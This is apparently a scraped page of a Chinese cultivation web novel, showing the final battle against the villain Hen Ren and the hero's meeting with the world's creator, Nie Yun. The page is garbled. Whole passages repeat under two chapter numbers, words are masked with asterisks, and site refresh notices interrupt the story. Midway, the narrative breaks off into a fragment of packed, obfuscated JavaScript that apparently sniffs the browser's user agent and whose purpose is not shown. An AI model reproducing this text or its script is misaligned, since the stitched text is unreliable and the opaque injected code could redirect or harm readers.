虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百八十三章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百八十四章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 